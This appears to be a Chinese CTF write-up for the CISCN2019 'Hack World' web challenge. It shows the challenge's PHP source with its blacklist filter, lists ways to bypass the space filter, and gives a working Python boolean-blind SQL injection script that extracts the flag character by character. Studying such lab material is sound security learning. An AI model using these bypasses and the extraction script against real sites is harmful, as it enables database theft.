刷題記錄:[CISCN2019 華北賽區 Day2 Web1]Hack World
一、前言
離國賽已經過去好久了,到現在才看復現,這道題當時做的時候沒有什么頭緒,現在來看答案發現其實沒有很難,就是經驗還不足
二、正文
題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:ciscn2019華北賽區半決賽day2_web1題解
1、解題過程
搜索框輸入1或2會返回結果,其他都返回bool(false)。過濾了union、and、or、空格等,包括/**/
,后來看源碼知道是過濾了*
。
有意思的是輸入1/1
時會正常返回結果,可以判斷這是數字型的sql注入。
源碼如下:
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被過濾的內容 函數基本沒過濾
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
2、解題方法
根據1和2返回結果的不同,可能是bool盲注,()
沒有過濾,可以使用大部分函數,當時是卡在了空格的繞過
空格的繞過有這些方法我測試是可以的
%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab
%20
好像沒法繞,%00
截斷好像也影響sql語句的執行
或者用括號也可以。任何可以計算出結果的語句,都可以用括號包圍起來。而括號的兩端,可以沒有多余的空格。
本題中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
貼上我寫的bool盲注腳本
import requests
url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)